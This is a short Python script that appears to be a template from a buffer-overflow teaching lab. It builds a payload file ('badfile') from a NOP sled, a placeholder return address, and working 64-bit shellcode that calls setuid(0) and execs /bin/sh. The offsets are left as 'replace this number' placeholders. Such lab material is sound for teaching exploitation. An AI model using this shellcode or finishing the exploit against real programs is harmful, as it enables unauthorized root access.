#!/usr/bin/python3
import sys

shellcode_64= (
  "\x48\x31\xc0\x48\x31\xff\xb0\x69\x0f\x05"   
  "\x48\x31\xd2\x52\x48\xb8\x2f\x62\x69\x6e"
  "\x2f\x2f\x73\x68\x50\x48\x89\xe7\x52\x57"
  "\x48\x89\xe6\x48\x31\xc0\xb0\x3b\x0f\x05"
).encode('latin-1')


# Fill the content with NOP's
content = bytearray(0x90 for i in range(517)) 


##################################################################
# Put the shellcode somewhere in the payload
start =  200                # replace this number 
content[start:start + len(shellcode_64)] = shellcode_64


# Decide the return address value 
# and put it somewhere in the payload
ret    = 0x00007FFFAABBCCDD   # replace this number 
offset = 0                    # replace this number 
content[offset:offset + 8] = (ret).to_bytes(8,byteorder='little') 
##################################################################

# Write the content to a file
with open('badfile', 'wb') as f:
  f.write(content)
